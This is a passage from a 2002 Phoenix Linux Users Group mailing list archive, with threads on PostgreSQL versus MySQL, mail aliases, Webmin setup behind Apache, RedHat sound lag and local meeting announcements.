feature that only one or the other has. They are = both excellent systems.

I'd use MySQL where speed was the biggist = factor.

I'd use Postgres where complex reporting or building = a large
("Enterprise") data warehouse was the = concern.

-scott

________________________________________________
See http://PLUG.phoenix.az.us/navigator-mail.shtml if = your mail doesn't post to the list quickly and you use Netscape to = write mail.

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http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-= discuss

= --Boundary_(ID_e3NOKOHkKZWFYpJrn6nnOg)-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 15:47:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Tue, 25 Jun 2002 08:47:14 -0700 Subject: mail aliases, mailinglist and netscape mail In-Reply-To: <3D175629.9040900@esaravana.com> References: <3D175629.9040900@esaravana.com> Message-ID: <20020625084714.646c6269.wokan@cox.net> I have something similar, but I use Kmail as my email client. I can associate a given sender profile with a folder, so when I respond to something from the PLUG folder, it goes out as Wokan. (Trying out Sylpheed at work right now and considering it as an alternative, too.) On Mon, 24 Jun 2002 10:26:01 -0700 "sundar @esaravana" wrote: > Hello, > > I have couple of mail aliases for my base e-mail > address(linux@esaravana.com). Eg, adrenaline@esaravana.com for my rock > climbing group. I use appropriate alias to subscribe to different groups > and receive mails. The problem comes when I post messages to the group. > The mail goes back as my base e-mail address(linux@esaravna.com), rather > than as my aliased e-mail address(adrenaline@esaravana.com) and gets > rejected. > > Is there anyway I can add mail aliases to Netscape mail client and > choose appropriately as I send mails. Or should I do anything on my mail > server. > > I am running RedHat 7.1 with Sendmail as my smtp server. > > Sundar > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 16:47:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Tue, 25 Jun 2002 09:47:35 -0700 Subject: mail aliases, mailinglist and netscape mail References: <3D175629.9040900@esaravana.com> <20020625084714.646c6269.wokan@cox.net> Message-ID: <3D189EA7.8010808@esaravana.com> I use Sylpheed at home. So, if you could do the association with that, please let me know. I use Windoze NT at work and tried pre compiled Sylpheed for Win32, but the application crashed badly. (I am still interested in managing multiple aliases from Netscape client. Any takers.. .) Sundar Digital Wokan wrote: >I have something similar, but I use Kmail as my email client. I can associate a given sender profile with a folder, so when I respond to something from the PLUG folder, it goes out as Wokan. (Trying out Sylpheed at work right now and considering it as an alternative, too.) > >On Mon, 24 Jun 2002 10:26:01 -0700 >"sundar @esaravana" wrote: > >>Hello, >> >>I have couple of mail aliases for my base e-mail >>address(linux@esaravana.com). Eg, adrenaline@esaravana.com for my rock >>climbing group. I use appropriate alias to subscribe to different groups >>and receive mails. The problem comes when I post messages to the group. >>The mail goes back as my base e-mail address(linux@esaravna.com), rather >>than as my aliased e-mail address(adrenaline@esaravana.com) and gets >>rejected. >> >>Is there anyway I can add mail aliases to Netscape mail client and >>choose appropriately as I send mails. Or should I do anything on my mail >>server. >> >>I am running RedHat 7.1 with Sendmail as my smtp server. >> >>Sundar >> >> >> >> >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 16:52:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Eric Thelin) Date: Tue, 25 Jun 2002 09:52:56 -0700 (MST) Subject: AzPHP Meeting tonight (6/25) Message-ID: Due to a combination of factors including absence of any volunteers there won't be a presentation at tonight's meeting. Everyone seemed to have a good time a few months ago when we went to Fudd Ruckers so I have decided to have a similar meeting tonight. So here is the plan. We will meet at 7:00 at Bennigans and just discuss random topics of interest. (Or in other words just get together and hang out.) Bennigans is at the corner of Southern and Alma School. Any complaints? Eric From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 17:40:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 25 Jun 2002 10:40:10 -0700 Subject: Meeting TONIGHT Message-ID: <0206251040100D.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 When: 7:00 p.m. Where: Glendale Community College High Tech 1 Teleconference Room Topic: A Post Mortem on the Install Fest Be There! I hope Steve has access to the Internet and a connection to a projector. Sure will make the presentation a LOT better ::grin:: - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRiq+ysk3ywszI1FEQJVmACg9yUMcJyMCbRN49xg0ff4gnZPJ7UAoIgl t8DIq/FtYP6lzCCFxwXhwPUP =ntXD -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 17:18:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Chris Cowan) Date: Tue, 25 Jun 2002 10:18:52 -0700 Subject: PostgreSQL versus MySQL (fwd) In-Reply-To: <7D2FB294FA311F4299D03CC8D39043707165AE@mainex5.asu.edu> References: <7D2FB294FA311F4299D03CC8D39043707165AE@mainex5.asu.edu> Message-ID: <20020625171853.0374E50C005@hydra.ctprm.com> For the record, I agree with Joel. Chris Cowan Chief Hybrid UberMonkey Centralized Institute for Applied Neuroinformatics On Tuesday 25 June 2002 08:11 am, you wrote: > In my opinion the speed difference between PostgreSQL and MySQL is > negligible. Tim Perdue from SourceForge did a study a while back > demonstrating that the newer PostgreSQL was actually faster than MySQL in > some cases. Trigger and PL support in PGSQL is very nice and I have never > been let down by PostgreSQL. PostgreSQL is the foundational database for > all of my Genomics research projects. I am transparently bias on the > subject because I have been burned by MySQL a few times so take that into > consideration. A replication daemon for PostgreSQL is also coming along > nicely. > > Joel Dudley > Faculty Research Associate > Arizona State University > Kumar Laboratory of Evolutionary Functional Genomics > http://lsweb.la.asu.edu/skumar/ > > > -----Original Message----- > From: William Lindley [mailto:wlindley@wlindley.com] > Sent: Monday, June 24, 2002 9:13 PM > To: Phoenix Linux Users Group > Subject: Re: PostgreSQL versus MySQL (fwd) > > > In response to the earlier question, Scott Walters > who is not on the PLUG list writes: > > -------- > > PostgreSQL supports triggers, constraints, PL, subqueries, and serveral > other things. > > MySQL supports replication, precompiled queries (huge speed up on resident > code), and is optimized for throughput in addition to speed. > > Both of them are very fast, and out perform almost all commercial > databases, hands down. > > I wouldn't sweat it too much either way unless you specificly need a > feature that only one or the other has. They are both excellent systems. > > I'd use MySQL where speed was the biggist factor. > > I'd use Postgres where complex reporting or building a large > ("Enterprise") data warehouse was the concern. > > -scott > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 17:40:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 10:40:10 -0700 Subject: [PLUG-announce]Meeting TONIGHT Message-ID: <0206251040100D.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 When: 7:00 p.m. Where: Glendale Community College High Tech 1 Teleconference Room Topic: A Post Mortem on the Install Fest Be There! I hope Steve has access to the Internet and a connection to a projector. Sure will make the presentation a LOT better ::grin:: - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRiq+ysk3ywszI1FEQJVmACg9yUMcJyMCbRN49xg0ff4gnZPJ7UAoIgl t8DIq/FtYP6lzCCFxwXhwPUP =ntXD -----END PGP SIGNATURE----- _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 18:03:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 25 Jun 2002 11:03:42 -0700 Subject: please, help her In-Reply-To: <3D181088.FF6BA22@telocity.com> References: <3D181088.FF6BA22@telocity.com> Message-ID: <0206251103420H.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I will email her and see what we can do to help and encourage her to attend a meeting or two to get better acquainted with us. If we are lucky, she will be close to someone who will mentor her personally. On Monday 24 June 2002 23:41, you wrote: > Hi > > I've found your e-mail address on this page http://plug.phoenix.az.us/ > > I've have a friend in Phoenix who is fed up with stability of the WINDOWS > and constant fight with the VIRUSES. ( she lost alle-mails, family photos > etc etc ) > > I've suggested her to try LINUX...but, unfortunately, she does not know > to install it by her self... > > Personally, I think, installing mandrake should not be a problem > but this is another story... > > so, can you help her out ? or perhaps some of your friends ? > > running REALPLAYER is a MUST (+ mozilla 1.0) > Her PC should be DUAL BOOT... preferably MANDRAKE + WINDOWS ME ( which is > on her box right now) > > her address: MaryPat McDonald > mpmcd@qwest.net or usamacka@hotmail.com > > > Regards > > Igor > > P.S.: I can not help her, because I live in San Jose, California (Silicon > Valley) > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRiwfisk3ywszI1FEQJDcwCeNcIpqKeQHMcAUf/h9IFaBnNKZFAAoIUZ L5sKYeR9i1itCg/pRGPSAdL/ =BvMb -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 18:34:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Tue, 25 Jun 2002 11:34:00 -0700 Subject: PostgreSQL Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B516@mail.int.fh.org> My company is switching vendors for our main donor tracking program. The new one is currently on a Unix/unify platform but is switching sometime early next year to a Linux/PostgreSQL platform. We are looking for any formal PostgreSQL training. Since we are switching from a Visual FoxPro/SQL Server platform, we are fairly proficient in SQL but we have never used PostgreSQL. Any one have any training suggestions? Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 18:53:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Tue, 25 Jun 2002 13:53:49 -0500 (CDT) Subject: PostgreSQL In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B516@mail.int.fh.org> Message-ID: Postgres is a class that was on my list for wanting to teach.... -Derek On Tue, 25 Jun 2002, Tom Achtenberg wrote: > My company is switching vendors for our main donor tracking program. The new one is currently on a Unix/unify platform but is switching sometime early next year to a Linux/PostgreSQL platform. We are looking for any formal PostgreSQL training. Since we are switching from a Visual FoxPro/SQL Server platform, we are fairly proficient in SQL but we have never used PostgreSQL. Any one have any training suggestions? > > Tom Achtenberg > Developer, Information Technologies > Food for the Hungry / US > (480) 609-7750 (voice) > (480) 443-1420 (fax) > TomA@fh.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 20:05:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 16:05:09 -0400 Subject: Webmin via Apache Message-ID: OK, I am setting up a new box as a server and I want to remote administer it with Webmin (www.webmin.com). I downloaded it, installed it on the box and I can run it locally using the URL http://localhost:10000/. Cool. I am trying to follow the directions at http://www.webmin.com/webmin/apache.html to make it run under a subdirectory with Apache as the server but it is not working. I get 404 errors when trying to load the URL http://0.0.0.0/webmin. I am lost as to what step I am doing wrong. What are the tricks to this setup? Alan From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 20:27:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle OMalley) Date: Tue, 25 Jun 2002 13:27:07 -0700 Subject: Hello I'm new (kinda) Message-ID: <20020625202707.GB31500@aries.evilmascot.com> Well its about time I properly introduce myself to the group. My name is Kyle O'Malley and I'm a unixoholic. Much like the rest of the group I can say I love linux. I work for an ISP based in Mesa, Centerlynx, my official job title is Systems Admin. but I'm basicly working a a two man team so I end up doing a little of everything and alot of mainly linux administration. We have about 20 machines running linux. The reason I say I'm kinda new is because I've been subscribed to this list for probably, well a year maybe by now. You could say I've been a lurker. I've actually been to two plug meetings so far but I'm to shy to actually stick around or introduce myself. I'm hoping to get more involved in this whole group, mind you I'm surely no guru (yet :)) but I'm pretty damn happy with this whole os and I'd like to help whenever I can. Anyways, I'd like to extend my thanks to everyone in and running this group; You guys really do a stellar job. -Kyle Linux: It's a good thing. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 20:36:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Tue, 25 Jun 2002 13:36:17 -0700 Subject: ride to west side meeting Message-ID: <20020625203619.NQZN25007.fed1mtao01.cox.net@there> well, I need a ride to the west side meeting. I am located at 83rd and osborn. anyone in the area going? call me: 623-849-9515 Technomage -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 20:45:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: Tue, 25 Jun 2002 13:45:00 -0700 Subject: Webmin via Apache Message-ID: <200206252045.QAA05549@hostinworld6.com> I think the 0.0.0.0 is to be replaced by your IP address. If it's trying to link there, then something's configured wrong. Alandd@mindspring.com wrote : > OK, I am setting up a new box as a server and I want to remote administer it > with Webmin (www.webmin.com). > > I downloaded it, installed it on the box and I can run it locally using the > URL http://localhost:10000/. Cool. > > I am trying to follow the directions at > http://www.webmin.com/webmin/apache.html to make it run > under a subdirectory > with Apache as the server but it is not working. I get 404 errors when > trying > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > doing > wrong. > > What are the tricks to this setup? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:02:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 17:02:09 -0400 Subject: Webmin via Apache Message-ID: I am sorry for the confusion. All the zeros in the address are just place holders. The correct address is 192.168.200.6. ie. I go to my remote browser and enter the address "http://192.168.200.6" and I get the default Apache web page, so I know Apache is working. I enter the address "http://192.168.200.6/webmin" and I get the 404 error. My question is why do I get the error? Alan On Tue, 25 Jun 2002 13:45:00 -0700 Bryce C wrote: I think the 0.0.0.0 is to be replaced by your IP address. If it's trying to link there, then something's configured wrong. Alandd@mindspring.com wrote : > OK, I am setting up a new box as a server and I want to remote administer it > with Webmin (www.webmin.com). > > I downloaded it, installed it on the box and I can run it locally using the > URL http://localhost:10000/. Cool. > > I am trying to follow the directions at > http://www.webmin.com/webmin/apache.html to make it run > under a subdirectory > with Apache as the server but it is not working. I get 404 errors when > trying > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > doing > wrong. > > What are the tricks to this setup? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:12:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 17:12:17 -0400 Subject: Meeting TONIGHT Message-ID: Jim will be bringing a box of swag for the west siders to enjoy. We have not forgotten you. Alan On Tue, 25 Jun 2002 10:40:10 -0700 Jim wrote: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 When: 7:00 p.m. Where: Glendale Community College High Tech 1 Teleconference Room Topic: A Post Mortem on the Install Fest Be There! I hope Steve has access to the Internet and a connection to a projector. Sure will make the presentation a LOT better ::grin:: - -- Jim From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:24:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 25 Jun 2002 16:24:32 -0500 Subject: Webmin via Apache In-Reply-To: ; from alandd@mindspring.com on Tue, Jun 25, 2002 at 05:02:09PM -0400 References: Message-ID: <20020625162432.E8770@lilly.csoft.net> It has been years since I tried webmin, however, I believe you need to see what port number webmin is running on (i.e 10000). Try something like http://192.168.200.6:10000 v/r Mike On Tue, Jun 25, 2002 at 05:02:09PM -0400, alandd@mindspring.com wrote: I am sorry for the confusion. All the zeros in the address are just place holders. The correct address is 192.168.200.6. ie. I go to my remote browser and enter the address "http://192.168.200.6" and I get the default Apache web page, so I know Apache is working. I enter the address "http://192.168.200.6/webmin" and I get the 404 error. My question is why do I get the error? Alan On Tue, 25 Jun 2002 13:45:00 -0700 Bryce C wrote: I think the 0.0.0.0 is to be replaced by your IP address. If it's trying to link there, then something's configured wrong. Alandd@mindspring.com wrote : > OK, I am setting up a new box as a server and I want to remote administer it > with Webmin (www.webmin.com). > > I downloaded it, installed it on the box and I can run it locally using the > URL http://localhost:10000/. Cool. > > I am trying to follow the directions at > http://www.webmin.com/webmin/apache.html to make it run > under a subdirectory > with Apache as the server but it is not working. I get 404 errors when > trying > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > doing > wrong. > > What are the tricks to this setup? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:26:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Hustis) Date: Tue, 25 Jun 2002 14:26:25 -0700 Subject: Webmin via Apache In-Reply-To: Message-ID: <5.1.0.14.0.20020625142317.025570a0@teltrax.com> When I originally set up Apache on my system at home (this was about 6 months ago), I noticed that whenever I entered a URL containing a directory, it wouldn't find anything unless I included the final slash "/". If I was accessing a page, then it was fine, but if I just wanted the index.html file to load automagically, then I had to make sure it was there. This may be a silly question, but have you tried using "http://192.168.200.6/webmin/" I know theres a mod that can be compiled in to take care of this, but since it was for a particular project that didn't require it, I never investigated further. At 05:02 PM 06/25/2002 -0400, you wrote: >I am sorry for the confusion. All the zeros in the address are just place >holders. The correct address is 192.168.200.6. > >ie. I go to my remote browser and enter the address "http://192.168.200.6" >and I get the default Apache web page, so I know Apache is working. I enter >the address "http://192.168.200.6/webmin" and I get the 404 error. My >question is why do I get the error? > >Alan > >On Tue, 25 Jun 2002 13:45:00 -0700 Bryce C wrote: > >I think the 0.0.0.0 is to be replaced by your IP address. If it's trying to >link there, then something's configured wrong. > > >Alandd@mindspring.com wrote : > > > OK, I am setting up a new box as a server and I want to remote > administer it > > > with Webmin (www.webmin.com). > > > > I downloaded it, installed it on the box and I can run it locally using the > > URL http://localhost:10000/. Cool. > > > > I am trying to follow the directions at > > http://www.webmin.com/webmin/apache.html to make it run > > under a subdirectory > > with Apache as the server but it is not working. I get 404 errors when > > trying > > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > > doing > > wrong. > > > > What are the tricks to this setup? > > > > Alan > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >Bryce C. >Network Administrator >CoBryce Communications >Bryce@BryceCo.Net >http://www.BryceCo.Net > > > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post >to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:41:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 17:41:06 -0400 Subject: Webmin via Apache Message-ID: These do not work either. I must have messed up one of the configuration steps... I think I will remove it and try again since I have now been mucking around and may have made it worse. Still works on the localhost:10000 port though. Alan It has been years since I tried webmin, however, I believe you need to see what port number webmin is running on (i.e 10000). Try something likehttp://192.168.200.6:10000 On Tue, 25 Jun 2002 14:26:25 -0700 Patrick Hustis wrote: When I originally set up Apache on my system at home (this was about 6 months ago), I noticed that whenever I entered a URL containing a directory, it wouldn't find anything unless I included the final slash "/". If I was accessing a page, then it was fine, but if I just wanted the index.html file to load automagically, then I had to make sure it was there. This may be a silly question, but have you tried using "http://192.168.200.6/webmin/" I know theres a mod that can be compiled in to take care of this, but since it was for a particular project that didn't require it, I never investigated further. At 05:02 PM 06/25/2002 -0400, you wrote: >I am sorry for the confusion. All the zeros in the address are just place >holders. The correct address is 192.168.200.6. > >ie. I go to my remote browser and enter the address "http://192.168.200.6" >and I get the default Apache web page, so I know Apache is working. I enter >the address "http://192.168.200.6/webmin" and I get the 404 error. My >question is why do I get the error? > >Alan > >On Tue, 25 Jun 2002 13:45:00 -0700 Bryce C wrote: > >I think the 0.0.0.0 is to be replaced by your IP address. If it's trying to >link there, then something's configured wrong. > > >Alandd@mindspring.com wrote : > > > OK, I am setting up a new box as a server and I want to remote > administer it > > > with Webmin (www.webmin.com). > > > > I downloaded it, installed it on the box and I can run it locally using the > > URL http://localhost:10000/. Cool. > > > > I am trying to follow the directions at > > http://www.webmin.com/webmin/apache.html to make it run > > under a subdirectory > > with Apache as the server but it is not working. I get 404 errors when > > trying > > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > > doing > > wrong. > > > > What are the tricks to this setup? > > > > Alan > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >Bryce C. >Network Administrator >CoBryce Communications >Bryce@BryceCo.Net >http://www.BryceCo.Net > > > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post >to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:55:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Tue, 25 Jun 2002 14:55:12 -0700 Subject: Redhat Sound Problems. References: <0206251040100D.07972@nova.wedge.org> Message-ID: <001001c21c92$fb38ecd0$0e02a8c0@krycom> I just installed RedHat but all the sounds in games don't mesh. For example in lbreakout2, when the ball hits the brick, you don't hear it until 2 sec's later. what's the deal? From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 22:01:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 18:01:55 -0400 Subject: Miniserv on eth0 (was: Webmin via Apache) Message-ID: OK, my question has changed. Webmin as a web server, miniserv, that comes with it. It does not seem to be watching for connections on the ethernet, only the loopback (localhost) connection. How do I get it to serve pages out the eth0? Alan From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 22:04:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 25 Jun 2002 15:04:53 -0700 Subject: Webmin via Apache In-Reply-To: References: Message-ID: <1025042698.2269.3.camel@desktop.capnet.lan> > > It has been years since I tried webmin, however, I believe you need > to see what port number webmin is running on (i.e 10000). > > Try something like http://192.168.200.6:10000 > IIRC, the latest versions require you to use https://192.168.x.x:10000 Gotta use the secure login. At least that's so on my fresh install of Mandrake 8.2 HTH Cap From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 22:22:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 25 Jun 2002 15:22:21 -0700 Subject: Redhat Sound Problems. Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4E07@azmscorp01.corp.azms> Kind of like talking on the phone and hearing yourself on the radio. Something like that. does it happen in all games or just lbreakout2? -----Original Message----- From: Richard L. Proctor [mailto:krycom1@cox.net] Sent: Tuesday, June 25, 2002 2:55 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Redhat Sound Problems. I just installed RedHat but all the sounds in games don't mesh. For example in lbreakout2, when the ball hits the brick, you don't hear it until 2 sec's later. what's the deal? ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 23:33:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Tue, 25 Jun 2002 16:33:38 -0700 Subject: test message Message-ID: <20020625233337.PWOA25007.fed1mtao01.cox.net@there> this is a test -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 23:48:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug@unfm00.com) Date: Tue, 25 Jun 2002 19:48:54 -0400 Subject: Webmin via Apache Message-ID: If you use the Tar ball from thier website, you'll have to add the ssl afterwords. thus you still may be http://192.168.xx:10000 Original Message: ----------------- From: Cap Bateman dbateman@sprintmail.com Date: 25 Jun 2002 15:04:53 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Webmin via Apache > > It has been years since I tried webmin, however, I believe you need > to see what port number webmin is running on (i.e 10000). > > Try something like http://192.168.200.6:10000 > IIRC, the latest versions require you to use https://192.168.x.x:10000 Gotta use the secure login. At least that's so on my fresh install of Mandrake 8.2 HTH Cap ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 00:01:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: 